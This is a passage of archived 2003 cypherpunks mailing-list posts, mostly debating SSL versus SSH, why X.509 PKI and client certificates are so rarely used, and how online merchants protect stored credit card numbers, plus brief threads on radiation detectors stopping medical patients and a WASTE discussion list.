  The overwhelming majority of [SSL users] wouldn't know SSL from HTTP with a
  padlock GIF in the corner.

>Given that SSL use is orders of magnitude higher than that of SSH, with no
>change in sight, primarily due to SSL's ease-of-use, I am a bit puzzled by
>your assertion that ssh, not SSL, is the "only really successful net crypto
>system".

I think the assertion was that SSH is used in places where it matters, while
SSL is used where no-one really cares (or even knows) about it.  Joe Sixpack
will trust any site with a padlock GIF on the page.  Most techies won't access
a Unix box without SSH.  Quantity != quality.

If you could wave a magic wand and make one of the two protocols vanish, I'd
notice the loss of SSH immediately (I couldn't send this message for
starters), but it would take days or weeks before I noticed the loss of SSL.

Peter.

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From mv at cdc.gov  Wed Jun  4 02:31:48 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Wed, 04 Jun 2003 02:31:48 -0700
Subject: SIGINT planes vs. radioisotope mapping
Message-ID: <3EDDBC84.D7CF456@cdc.gov>

At 05:28 PM 6/3/03 -0700, Tim May wrote:
> Possibly for construction
>of baseline maps of existing radioisotopes in university labs,
>hospitals, and private facilities. Then deviations from baseline maps
>could be identified and inspected in more detail with ground-based vans

>and black bag ops.

Good call.  I wonder if folks getting PET scans will have to kick back
longer in the waiting areas lest they be snatched by delta teams...
hopefully the .mils can distinguish Tc99 et al from other 'topes..
similarly with mobile industrial inspection rigs --except that they have
the
good stuff a RD gadget-maker would want.  Maybe GPS + IFF beacons will
be
added to those.

---
SAFETY RULES FOR US STRATEGIC BOMBERS
 5.1. Don't use nuclear weapons to troubleshoot faults.
http://cryptome.org/afi91-111.htm




From ericm at lne.com  Wed Jun  4 07:40:48 2003
From: ericm at lne.com (Eric Murray)
Date: Wed, 4 Jun 2003 07:40:48 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>; from pgut001@cs.auckland.ac.nz on Wed, Jun 04, 2003 at 04:32:23PM +1200
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
Message-ID: <20030604074048.A13661@slack.lne.com>

On Wed, Jun 04, 2003 at 04:32:23PM +1200, Peter Gutmann wrote:
> "James A. Donald" <jamesd at echeque.com> writes:
> 
> >I never figured out how to use a certificate to authenticate a client to a
> >web server, how to make a web form available to one client and not another.
> >Where do I start?
> 
> There's a two-level answer to this problem.  At an abstract level, doing
> client certs isn't hard, there are various HOWTOs around for Apache, Microsoft
> have Technet/MSDN papers on it for IIS, etc etc.  At a practical level, it's
> almost never used because it's just Too Hard.  That's not the SSL client-cert
> part, it's the using-X.509 part.

It's the I part of PKI that's hard.  That the assumptions built
into X.509 (i.e. a rigid certificate hierarchy) don't work everywhere
just makes it harder.  And the obstinance of the standards organizations
involved don't help.

Too often people see something like Peter's statement above and say
"oh, it's that nasty ASN.1 in X.509 that is the problem, so we'll just
do it in XML instead and then it'll work fine" which is simply not true.
The formatting of the certificates is such a minor issue that it is lost
in the noise of the real problems.  And Peter publishes a fine tool
for printing ASN.1, so the "human readable" argument is moot.

Note that there isn't a real running global PKI using SPKI
or PGP either.


The largest problem with X.509 is that various market/political forces
have allowed Verisign to dominate the cert market and charge way too
much for them.  There is software operable by non-cryptographers that
will generate reasonable cert reqs (it's not standard Openssl) but
individuals and corporations alike balk at paying $300-700 for each cert.
(yes I know about the free "individual" certs, the failure of
S/MIME is a topic for another rant).

This is why lne.com's STARTTLS cert is self-signed.  Verisign
isn't getting any more of my money.


Eric



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From ekr at rtfm.com  Wed Jun  4 09:06:08 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 04 Jun 2003 09:06:08 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDD06EF.2850.17076FA5@localhost>
References: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>
  <3EDD06EF.2850.17076FA5@localhost>
Message-ID: <kj65nlakun.fsf@romeo.rtfm.com>

"James A. Donald" <jamesd at echeque.com> writes:

>     --
> On 3 Jun 2003 at 15:04, James A. Donald wrote:
> > I never figured out how to use a certificate to authenticate 
> > a client to a web server, how to make a web form available to 
> > one client and not another.  Where do I start?
> >
> > What I and everyone else does is use a shared secret, a 
> > password stored on the server, whereby the otherwise 
> > anonymous client gets authenticated, then gets an ephemeral 
> > cookie identifying him..   I cannot seem to find any how-tos 
> > or examples for anything better, whether for IIS or apache.
> >
> > As a result we each have a large number of shared secret 
> > passwords, whereby we each log into a large number of 
> > webservers.  Was this what the people who created this 
> > protocol intended?
> 
> Or to say the same thing in different words -- why can't HTTPS 
> be more like SSH?    Why are we seeing a snow storm of scam
> mails trying to get us to login to e-g0ld.com? 
Because HTTPS is designed to let you talk to people you've
never talked before, which is an inherently harder problem
than allowing you to talk to people you have.

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/




From DaveHowe at gmx.co.uk  Wed Jun  4 01:08:56 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Wed, 4 Jun 2003 09:08:56 +0100
Subject: Maybe It's Snake Oil All the Way Down
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c  om> <kjd6hxzc07.fsf@romeo.rtfm.com> <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
Message-ID: <000b01c32a70$8f43b9f0$c71121c2@exchange.sharpuk.co.uk>

At 10:09 AM 6/2/03 -0400, Ian Grigg wrote:
>  (One doesn't hear much about
> crypto phones these days.  Was this really a need?)
As a minor aside - most laptops can manage pgpfone using only onboard
hardware these days, either using an integrated modem or (via infrared) a
mobile phone.....


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From lgonze at panix.com  Tue Jun  3 12:09:15 2003
From: lgonze at panix.com (lgonze at panix.com)
Date: Wed, 4 Jun 2003 09:09:15 +1400 (GMT-14)
Subject: web home for waste
Message-ID: <mailman.734.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>


I've gotten a bunch of queries about WASTE, generally with a focus on user
problems like how to get a connection or FAQ issues like how to build on
OS X.  To help people to help each other, as well as to foster discussion
of technical issues related to WASTE, I have created a mailing list and
web home at http://groups.yahoo.com/group/waste-discuss/.

- Lucas

--- end forwarded text


-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From adam at homeport.org  Wed Jun  4 06:52:02 2003
From: adam at homeport.org (Adam Shostack)
Date: Wed, 4 Jun 2003 09:52:02 -0400
Subject: Why is there a solution, Declan?
Message-ID: <20030604135201.GA24624@lightship.internal.homeport.org>

Declan interviews Bruce Sterling, on news.com.com.com:

http://news.com.com/2008-1082_3-1010864.html?tag=fd_nc_1



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From ptrei at rsasecurity.com  Wed Jun  4 06:56:15 2003
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Wed, 4 Jun 2003 09:56:15 -0400 
Subject: SIGINT planes vs. radioisotope mapping
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A0558D0E7@exna07.securitydynamics.com>

> Major Variola (ret)[SMTP:mv at cdc.gov]
> 
> 
> At 05:28 PM 6/3/03 -0700, Tim May wrote:
> > Possibly for construction
> >of baseline maps of existing radioisotopes in university labs,
> >hospitals, and private facilities. Then deviations from baseline maps
> >could be identified and inspected in more detail with ground-based vans
> >and black bag ops.
> 
> Good call.  I wonder if folks getting PET scans will have to kick back
> longer in the waiting areas lest they be snatched by delta teams...
> hopefully the .mils can distinguish Tc99 et al from other 'topes..
> similarly with mobile industrial inspection rigs --except that they have
> the good stuff a RD gadget-maker would want.  Maybe GPS + IFF 
> beacons will be added to those.
> 
It appears that they can't tell the medical isotopes from others....
--------------------
http://www.mindfully.org/Nucs/2002/Irradiated-Patient-Security4dec02.htm

High Security Trips Up Some Irradiated Patients, Doctors Say 

AL BAKER / NY Times 4dec02

In one case last spring, a man being treated for an overactive thyroid gland

was stopped by the authorities on two occasions while at a
subway stop at Pennsylvania Station. In another case about a month ago, 
a woman who had undergone a diagnostic heart study was
stopped while trying to drive out of Manhattan through a tunnel.

In both cases, the people involved had been treated with radioactive
materials.
And in both cases, doctors said, they were stopped by law enforcement
officers armed with radiation detectors used to track possible terrorists.

Such reports are flowing into doctors' offices, physicians in the
metropolitan
region and elsewhere say.

-----------------------




From rah at shipwright.com  Wed Jun  4 07:06:57 2003
From: rah at shipwright.com (R. A. Hettinga)
Date: Wed, 4 Jun 2003 10:06:57 -0400
Subject: web home for waste
Message-ID: <a0600126abb03ad734cc9@[66.149.49.6]>

--- begin forwarded text



From lynn at garlic.com  Wed Jun  4 09:12:04 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Wed, 04 Jun 2003 10:12:04 -0600
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <008701c32a88$cde93f00$c71121c2@exchange.sharpuk.co.uk>
References: <000101c3298e$cf6edd30$6401a8c0@VAIO650>
  <v03110729bb02cd26c820@[192.168.1.5]>
Message-ID: <4.2.2.20030604094322.00d5ed90@mail.earthlink.net>

At 12:02 PM 6/4/2003 +0100, Dave Howe wrote:
>For that matter, our system here discards the CC after use (the pre-auth
>step with the merchant bank agent gives us back a "fulfillment handle" that
>can only be used to fulfill or cancel that individual transaction - but of
>course Amazon *want* to keep your CC details so they can do their
>fast-checkout patented thingy.

the ground rules given the x9a10 working group for the x9.59 standard was 
to preserve the integrity of the financial infrastructure for all (credit, 
debit, stored-value, POS, internet, non-internet, aka ALL) electronic 
retail payments. it was one of the things that led us down the path of 
certless operation. We had previously done the work on the original payment 
gateway and had to perform various kinds of due diligence on all the major 
CA vendors .... which started to dawn on us that stale, static certificates 
were actually redundant and superfluous in the financial business process.
http://www.garlic.com/~lynn/aadsm5.html#asrn2
http://www.garlic.com/~lynn/aadsm5.html#asrn3

sort of the clinker was starting to do operational and performance profile 
on any of the existing payment networks .... and it was evident that there 
was a huge mismatch between the existing payment transaction payload size 
and any of the commonly used certificates (even the drastically simplified 
replying-party-only certificates carrying only an account number and public 
key).

Two major characteristics of X9.59 was that it would provide 1) end-to-end 
authentication (aka the consumers financial institution would be the one 
responsible for performing authentication) and 2) account numbers used in 
X9.59 transactions could not be used in unauthenticated transactions.

Some of the '90s digitally signature oriented specifications had 
authentication occurring at the internet boundary and stripping off the 
certificate (avoiding the extreme certificate payload penalty in the 
payment network). The downside was that the party performing the 
authentication didn't necessarily have the consumer's interest in mind and 
Visa subsequently presented statistics at a ISO standards meeting on the 
number of transactions flowing through the network 1) with a flag claiming 
to have been digitally signature authenticated and 2) they could prove that 
no digital signature technology was ever involved.

Evesdropping, sniffing or harvesting account numbers in the current 
infrastructure (at any point in the process, by insiders or outsiders, 
traditionally financial exploits have been 90 percent insiders) can result 
in fraudulent transactions. As a result, existing account numbers 
effectively become a form of shared-secret and need to be protected. With 
the X9.59 business rule requiring the account number to only be used in 
authenticated transactions, simple harvesting of a X9.59 account number 
doesn't result in fraud. Issuing financial institutions then can use 
existing business processes that support mapping of different account 
numbers to the same account.  A discussion of the security proportional to 
risk with regard to credit card transactions:
http://www.garlic.com/~lynn//2001h.html#61 Net banking, is it safe?

The issue with the use of SSL for protecting credit card transactions isn't 
addressing all or even the major vulnerability to the infrastructure. 
Eliminating the account number as a form of shared secret addresses all of 
the vulnerabilities, not just the transaction-in-flight vulnerability 
addressed by SSL. As a byproduct of addressing all of the shared-secret 
related vulnerabilities, it also eliminates the need to use SSL for 
protecting the shared secret while being transmitted.

Detailed report of its use in the NACHA debit network trials can be found at
http://internetcouncil.nacha.org/News/news.html
scroll down to "July 23, 2001: Digital Signatures Can Secure ATM Card Payments"

More details of X9.59 standard:
http://www.garlic.com/~lynn/index.html#x959

--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm




From rsalz at datapower.com  Wed Jun  4 07:21:46 2003
From: rsalz at datapower.com (Rich Salz)
Date: Wed, 04 Jun 2003 10:21:46 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
Message-ID: <3EDE007A.2050107@datapower.com>

>   The problems that this creates are demonstrated by what happens when
>   technically skilled users are required to work with certificates.

If you haven't already seen it, I highly recommend Don Davis's 
"compliance defects" paper (and slides!) available at 
http://world.std.com/~dtd.  Abstract follows:
  Public-key cryptography has low infrastructural overhead because
  public-key users bear a substantial but hidden administrative burden.
   A public-key security system trusts its users
  to validate each others' public keys rigorously and to manage
  their own private keys securely. Both tasks are hard to do well,
  but public-key security systems lack a centralized infrastructure
  for enforcing users' discipline.  A "compliance defect" in a
  cryptosystem is such a rule of operation that is both difficult
  to follow and unenforceable.  This paper presents five compliance
  defects that are inherent in public-key cryptography; these
  defects make public-key cryptography more suitable for server-to-server
  security than for desktop applications.



-- 
Rich Salz, Chief Security Architect
DataPower Technology         http://www.datapower.com
XS40 XML Security Gateway    http://www.datapower.com/products/xs40.html




From ngps at netmemetic.com  Tue Jun  3 19:34:52 2003
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: Wed, 4 Jun 2003 10:34:52 +0800
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDCB916.14077.15D755CF@localhost>
References: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>
  <3EDCB916.14077.15D755CF@localhost>
Message-ID: <20030604023452.GA862@vista.netmemetic.com>

On Tue, Jun 03, 2003 at 03:04:54PM -0700, James A. Donald wrote:
> I never figured out how to use a certificate to authenticate a
> client to a web server, how to make a web form available to one
> client and not another.  Where do I start?

Start by looking up the OpenSSL wrappers for your favourite high-level
"scripting" language. There exists wrappers for Perl, Python, tcl, Ruby,
etc. Some popular languages have several.

Many of these programming language environments come with HTTP server
implementations, and many of the OpenSSL wrappers hook into said HTTP
server code to add HTTPS, and a number demonstrate how to do client-side
certificates.

My M2Crypto adds HTTPS to the popular web application server Zope
(www.zope.org) and has some code to hook client-side certificates into
Zope's own user authentication machinery. (By faking HTTP basic
authentication, just like Apache's SSL do.) Once you have that, you can
choose to serve whatever content you want.


> What I and everyone else does is use a shared secret, a
> password stored on the server, whereby the otherwise anonymous
> client gets authenticated, then gets an ephemeral cookie
> identifying him.. 

It seems HMAC'ing cookies are getting popular for this purpose.
OpenACS, another popular web application server uses this:

   http://openacs.org/doc/openacs-4/security-design.html

My Python crypto kit has an implementation of the scheme described here:

    http://www.pdos.lcs.mit.edu/cookies/pubs/webauth.html

I'll be interested to hear this list's view on such schemes. From my
app-plumber's perspective, such a technique for is good enough provided it
is 'secure' enough.

People understand passwords. Private keys, certificates, smart cards, etc.,
are more difficult. (I recall a paper on PGP UI useability testing called
"Why Johnny cannot encrypt" or something like that.)


> As a result we each have a large number of shared secret
> passwords, whereby we each log into a large number of
> webservers.  Was this what the people who created this protocol
> intended?

Actually, this is the crypto-wielding-open-source-hacker-wannabe's wet
dream: So what you need now to track (or generate strong) passwords is a
GUI "password safe"! (Like the one offered on (the old?) Counterpane site.)

Again, Perl, Python, Ruby, yada yada, you name it, people are going to
implement them for free. ;-)

Especially since there are usually 3-5 GUI toolkits and 2-4 database toolkits
for these language environments. Enough combinations to suit everyone.


-- 
Ng Pheng Siong <ngps at netmemetic.com> 

http://firewall.rulemaker.net  -+- Manage Your Firewall Rulebase Changes
http://www.post1.com/home/ngps -+- Open Source Python Crypto & SSL




From sunder at sunder.net  Wed Jun  4 08:07:12 2003
From: sunder at sunder.net (Sunder)
Date: Wed, 4 Jun 2003 11:07:12 -0400 (edt)
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <BB4DFA4E-961D-11D7-9380-000393754B1C@vangelderen.org>
Message-ID: <Pine.BSO.4.21.0306041054190.14223-100000@anon7.arachelian.com>

Depends on how it gets passed from the web servers to that computer.  If
it's encrypted with a public key on the web server that only the database
has the private half, you're safe from someone sniffing that "proprietary
one-way interface."

However, if somone's already broken into the web server, they can collect
the cc:'s before they get sent to the secure db.

So if you're an old Amazon customer and don't change your CC >BEFORE<
someone hacks into their web server, you're safe.

It's certainly better than storing all CC's on the web server.

Now if those CC's are in raw text on the DB end, Amazon is up shit's creek
if someone walks away with a db dump, backup tape, or whatever.

I don't claim to know what they're using, but long, long time ago, in
another galaxy, I used to work with a product from OpenMarket that worked
similarly, but they held all credit cards encrypted in the DB making it
much harder.  (Of course if you have the key it's as good as cleartext,
but it was at least another layer of protection.)

Ultimately they'll need either a cybercash interface or some interface to
a bank to charge your card.  If the bad guy intercepts at that level or
gets unencrypted access to the DB, or you change your CC while the web
server is compromised, you are in for some interesting CC statements.


However, this is in a lot of ways MORE secure than handing that waiter or
store clerk your CC.  Remember that nice yellow slip has your signature,
CC number and expiration date on it.  Very useful for an attacker.  
Infact, they likely had physical access to the CC and have that extra 3
digit # on the back too. 

Some stores even ask for your driver's license to prove that you are you,
which at least in NY has your date of birth and address as well.  Even
more useful to the evildoer.  If they can also get your SSN on top of
that, you're at their mercy.  Think about any credit application type
transactions....  these days, buying (some) cell phones, or car, or
signing up for satelite TV requires these.


I feel safer with Amazon's use of my CC than the above, don't you?



----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Tue, 3 Jun 2003, Jeroen van Gelderen wrote:

> "To provide you with an additional layer of security, all credit card 
> numbers provided to Amazon.com are stored on a computer that is not 
> connected to the Internet. After you type or call it in, your complete 
> credit card number is transferred to this secure machine across a 
> proprietary one-way interface. This computer is not accessible by 
> network or modem, and the number is not stored anywhere else."
> 
> Now I'm not sure how they get to use the number during the billing 
> process but hey... :)
> 
> I don't know if I'd feel much better if Amazon didn't have my CC on 
> file. The danger of a disgruntled sysadmin snarfing the numbers while 
> they pass trough the system for one time use during a single billing 
> cycle seems to real for me.




From DaveHowe at gmx.co.uk  Wed Jun  4 04:02:23 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Wed, 4 Jun 2003 12:02:23 +0100
Subject: Maybe It's Snake Oil All the Way Down
References: <000101c3298e$cf6edd30$6401a8c0@VAIO650>
  <v03110729bb02cd26c820@[192.168.1.5]>
Message-ID: <008701c32a88$cde93f00$c71121c2@exchange.sharpuk.co.uk>

Bill Frantz wrote:
> I know of one system that takes credit cards over HTTPS, and then
> sends the credit card number, encrypted with GPG to a backend system
> for processing.
For that matter, our system here discards the CC after use (the pre-auth
step with the merchant bank agent gives us back a "fulfillment handle" that
can only be used to fulfill or cancel that individual transaction - but of
course Amazon *want* to keep your CC details so they can do their
fast-checkout patented thingy.




From frantz at pwpconsult.com  Wed Jun  4 13:59:40 2003
From: frantz at pwpconsult.com (Bill Frantz)
Date: Wed, 4 Jun 2003 13:59:40 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <20030604074048.A13661@slack.lne.com>
References: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>; from
 pgut001@cs.auckland.ac.nz on Wed, Jun 04, 2003 at 04:32:23PM +1200
 <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>
Message-ID: <v03110705bb040d12298c@[192.168.1.5]>

At 7:40 AM -0700 6/4/03, Eric Murray wrote:
>Note that there isn't a real running global PKI using SPKI
>or PGP either.

I'm not sure SPKI was ever meant to be a global PKI.  It was more meant to
authorization in a "verifier-centric" system.

Cheers - Bill


-------------------------------------------------------------------------
Bill Frantz           | Due process for all    | Periwinkle -- Consulting
(408)356-8506         | used to be the         | 16345 Englewood Ave.
frantz at pwpconsult.com | American way.          | Los Gatos, CA 95032, USA



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From frantz at pwpconsult.com  Wed Jun  4 14:13:22 2003
From: frantz at pwpconsult.com (Bill Frantz)
Date: Wed, 4 Jun 2003 14:13:22 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <Pine.BSO.4.21.0306041054190.14223-100000@anon7.arachelian
  .com>
References: <BB4DFA4E-961D-11D7-9380-000393754B1C@vangelderen.org>
Message-ID: <v03110706bb04107bf6db@[192.168.1.5]>

At 8:07 AM -0700 6/4/03, Sunder wrote:
>Depends on how it gets passed from the web servers to that computer.  If
>it's encrypted with a public key on the web server that only the database
>has the private half, you're safe from someone sniffing that "proprietary
>one-way interface."
>
>However, if somone's already broken into the web server, they can collect
>the cc:'s before they get sent to the secure db.
>
>So if you're an old Amazon customer and don't change your CC >BEFORE<
>someone hacks into their web server, you're safe.
>
>It's certainly better than storing all CC's on the web server.
>
>Now if those CC's are in raw text on the DB end, Amazon is up shit's creek
>if someone walks away with a db dump, backup tape, or whatever.
>
>....
>
>However, this is in a lot of ways MORE secure than handing that waiter or
>store clerk your CC.  Remember that nice yellow slip has your signature,
>CC number and expiration date on it.  Very useful for an attacker.
>Infact, they likely had physical access to the CC and have that extra 3
>digit # on the back too.
>
>...
>
>I feel safer with Amazon's use of my CC than the above, don't you?

Well, I've only ordered from Amazon 2 or 3 times since they've been in
business.  Having my CC on file gives a much longer exposure time than the
brief periods of time it would be "in transit".  So, no I don't feel much
safer.  The $50 limit on unauthorized charges is what makes me feel safer.

Cheers - Bill


-------------------------------------------------------------------------
Bill Frantz           | Due process for all    | Periwinkle -- Consulting
(408)356-8506         | used to be the         | 16345 Englewood Ave.
frantz at pwpconsult.com | American way.          | Los Gatos, CA 95032, USA




From moeller at cdc.informatik.tu-darmstadt.de  Wed Jun  4 06:48:30 2003
From: moeller at cdc.informatik.tu-darmstadt.de (Bodo Moeller)
Date: Wed, 4 Jun 2003 15:48:30 +0200
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306021554.h52Fsrf17422@medusa01.cs.auckland.ac.nz>
References: <m19NHLY-000QdtC@epsilon>
Message-ID: <20030604154830.B15397@cdc.informatik.tu-darmstadt.de>

pgut001 at cs.auckland.ac.nz (Peter Gutmann):

> [0] Note that my SSL implementation follows the standard SSL ladder diagram
>     rather than the state-machine that SSL implementations are usually
>     described as, which made it trivial to switch over for SSHv2 use.  I've
>     never understood why every explanation of the SSL protocol I've ever seen
>     uses ladder diagrams but once they talk about implementation details they
>     assume you're doing it as a state machine, which makes it vastly harder to
>     implement.  For example all the stuff about pending cipher suites and
>     whatnot follows automatically (and transparently) from the ladder diagram,
>     but is a real pain to sort out in a state machine.

Using an explicit state machine helps to get code suitable for
multiplexing within a single thread various connections using
non-blocking I/O.


-- 
Bodo Mvller <moeller at cdc.informatik.tu-darmstadt.de>
PGP http://www.informatik.tu-darmstadt.de/TI/Mitarbeiter/moeller/0x36d2c658.html
* TU Darmstadt, Theoretische Informatik, Alexanderstr. 10, D-64283 Darmstadt
* Tel. +49-6151-16-6628, Fax +49-6151-16-6036




From jamesd at echeque.com  Wed Jun  4 16:25:28 2003
From: jamesd at echeque.com (James A. Donald)
Date: Wed, 04 Jun 2003 16:25:28 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <4.2.2.20030604094322.00d5ed90@mail.earthlink.net>
References: <008701c32a88$cde93f00$c71121c2@exchange.sharpuk.co.uk>
Message-ID: <3EDE1D78.2422.1B4777E6@localhost>

    --
Everyone in America has several shared secrets identifying them 
-- the number of the beast to identify them to the state, and 
their credit card numbers identifying them to various financial 
institutions, plus a hundred passwords to  login to their
email, their bank, their network provider, e-gold, etc.

The PKI idea was that we would instead use PK in place of 
shared secrets, but if an ordinary person had a private key, 
what could he use it for?

The spam that seeks to get us to login to e-g0ld and the 
BankOf4merica.com works because the logins are based on shared 
secrets, not private keys, and the networks are setup to rely 
on shared secrets because there is no practical alternative. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     r9lUivpSt7tWiPOxVr17a9sjkgXnnbC5matqsa6/
     4UovWiFVbzH8bFEhVsekeydmrrDmez+5/B/3ZSo4B




From jamesd at echeque.com  Wed Jun  4 16:25:29 2003
From: jamesd at echeque.com (James A. Donald)
Date: Wed, 04 Jun 2003 16:25:29 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <kj65nlakun.fsf@romeo.rtfm.com>
References: <3EDD06EF.2850.17076FA5@localhost>
Message-ID: <3EDE1D79.8791.1B477836@localhost>

    --
James A. Donald
> > Or to say the same thing in different words -- why can't
> > HTTPS be more like SSH?    Why are we seeing a snow storm
> > of scam mails trying to get us to login to e-g0ld.com?

Eric Rescorla
> Because HTTPS is designed to let you talk to people you've 
> never talked before, which is an inherently harder problem 
> than allowing you to talk to people you have.

In attempting to solve the hard problem, it fails to make
provision for solving the easy problem.

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     bZy6QJLI0fL6IOhhS8lxNx/EUctBs0cj1se8YRt5
     4LvAbyVinp/3mbNkE+8/qx6UYDSxykTEFMpTXzsoD




From pgut001 at cs.auckland.ac.nz  Tue Jun  3 21:32:23 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 4 Jun 2003 16:32:23 +1200
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306040432.h544WNQ03298@medusa01.cs.auckland.ac.nz>

"James A. Donald" <jamesd at echeque.com> writes:

>I never figured out how to use a certificate to authenticate a client to a
>web server, how to make a web form available to one client and not another.
>Where do I start?

There's a two-level answer to this problem.  At an abstract level, doing
client certs isn't hard, there are various HOWTOs around for Apache, Microsoft
have Technet/MSDN papers on it for IIS, etc etc.  At a practical level, it's
almost never used because it's just Too Hard.  That's not the SSL client-cert
part, it's the using-X.509 part.  To save having to type in a long
explanation, I'll lift a representative paragraph from a (not-yet-published,
don't ask :-) paper on PKI usability:

  There is considerable evidence from mailing lists, Usenet newsgroups and web
  forums, and directly from the users themselves, that acquiring a certificate
  is the single biggest hurdle faced by users [1].  For example various user
  comments indicate that it takes a skilled technical user between 30 minutes
  and 4 hours work to obtain a certificate from a public CA that performs
  little to no verification, depending on the CA and the procedure being
  followed.  Obtaining one from non-public CAs that carry out various levels
  of verification before issuing the certificate can take as long as a month.
  A representative non-technical user who tried to obtain an (unverified)
  certificate from a public CA took well over an hour for the process, which
  involved [...] eventually the user gave up.

and that doesn't even get into the mess of managing private keys, handling
revocation, etc etc etc ad nauseum:

  The problems that this creates are demonstrated by what happens when
  technically skilled users are required to work with certificates.  The
  OpenSSL toolkit [2][3] includes a Perl script CA.pl that allows users to
  quickly generate so-called clown suit certificates (ones that 'have all the
  validity of a clown suit' when used for identification purposes [4]), which
  is widely-used in practice.  The cryptlib toolkit [5][6] contains a similar
  feature in the form of Xyzzy certificates (added with some resistance and
  only after the author grew tired of endless requests for it), ones with
  dummy X.500 names, an effectively infinite lifetime, and no restrictions on
  usage.  Most commercial toolkits include similar capabilities, usually
  disguised as 'test certificates' for development purposes only, which end up
  being deployed in live environments because it.s too difficult to do it the
  way X.509 says it should be done.  Certificates used with mailers that
  support the STARTTLS option consist of ones that are 'self-signed, signed-by
  the default Snake Oil CA, signed by an unknown test CA, expired, or have the
  wrong DN' [7].  The producer of one widely-used Windows MUA reports that in
  their experience 90% of the STARTTLS-enabled servers that they encounter use
  self-signed certificates [8].  This reduces the overall security of the
  system to that of unauthenticated Diffie-Hellman key exchange, circa 1976.
  In all of these cases, the entire purpose of certificates has been
  completely short-circuited by users because it.s just too difficult to do
  the job properly.  The problematic nature of X.509 is echoed in publications
  both technical and non-technical, with conference papers and product
  descriptions making a feature of the fact that their design or product works
  without requiring a PKI.  For example, one recent review of email security
  gateways made a requirement for consideration in the review that the product
  'have no reliance on PKI' [9].  As an extreme example of this, the inaugural
  PKI Research Workshop, attended by expert PKI users, required that
  submitters authenticate themselves with plaintext passwords because of the
  lack of a PKI to handle the task [10][11].

>As a result we each have a large number of shared secret passwords, whereby
>we each log into a large number of webservers.  Was this what the people who
>created this protocol intended?

The assumption of the protocol's creators was that someone would figure out
how to make X.509 PKI work by the time SSL took off, and everyone would have
their own certificates and whatnot.

At least they got *most* of the design right :-).

Peter.


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From ekr at rtfm.com  Wed Jun  4 16:42:32 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 04 Jun 2003 16:42:32 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDE1D79.8791.1B477836@localhost>
References: <3EDD06EF.2850.17076FA5@localhost>
	<3EDE1D79.8791.1B477836@localhost>
Message-ID: <kjd6ht8l5j.fsf@romeo.rtfm.com>

"James A. Donald" <jamesd at echeque.com> writes:

>     --
> James A. Donald
> > > Or to say the same thing in different words -- why can't
> > > HTTPS be more like SSH?    Why are we seeing a snow storm
> > > of scam mails trying to get us to login to e-g0ld.com?
> 
> Eric Rescorla
> > Because HTTPS is designed to let you talk to people you've 
> > never talked before, which is an inherently harder problem 
> > than allowing you to talk to people you have.
> 
> In attempting to solve the hard problem, it fails to make
> provision for solving the easy problem.

Nonsense. One can simply cache the certificate, exactly as
one does with SSH. In fact, Mozilla at least does exactly
this if you tell it to. The reason that this is uncommon
is because the environments where HTTPS is used
are generally spontaneous and therefore certificate caching
is less useful.

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/

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From jamesd at echeque.com  Wed Jun  4 19:09:31 2003
From: jamesd at echeque.com (James A. Donald)
Date: Wed, 04 Jun 2003 19:09:31 -0700
